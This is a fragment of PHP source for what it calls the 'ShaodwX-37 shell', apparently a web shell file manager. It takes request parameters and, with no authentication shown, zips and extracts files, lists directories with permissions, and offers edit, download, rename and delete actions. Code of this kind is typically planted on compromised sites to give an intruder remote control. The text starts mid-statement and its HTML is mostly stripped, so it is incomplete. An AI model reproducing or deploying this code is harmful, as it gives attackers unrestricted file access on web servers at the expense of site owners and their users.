open($zname,ZipArchive::CREATE)){ foreach($_POST['files'] ?? [] as $f){ $full=$path.'/'.$f; if(is_file($full)) $zip->addFile($full,$f); } $zip->close(); } } if(isset($_GET['unzip'])){ $z=realpath($_GET['unzip']); if($z){ $zip=new ZipArchive(); if($zip->open($z)){$zip->extractTo($path);$zip->close();} } } function perms($f){ return substr(sprintf('%o', fileperms($f)), -4); } /* ===== FILTERS ===== */ $q = trim($_GET['q'] ?? ''); $sort = $_GET['sort'] ?? 'name'; /* ===== LIST ===== */ $items = array_values(array_filter(scandir($path), fn($x)=>$x!=='.')); usort($items,function($a,$b)use($path,$sort){ $fa=$path.'/'.$a; $fb=$path.'/'.$b; if(is_dir($fa)!==is_dir($fb)) return is_dir($fa)?-1:1; if($sort==='size') return (filesize($fa)??0) <=> (filesize($fb)??0); return strcasecmp($a,$b); }); if($q) $items = array_values(array_filter($items, fn($f)=>stripos($f,$q)!==false)); ?>

ShaodwX-37 shell

Back
NameTypeSizePermActions
$f"; else echo htmlspecialchars($f); ?> Edit | Download | Rename | Delete | Unzip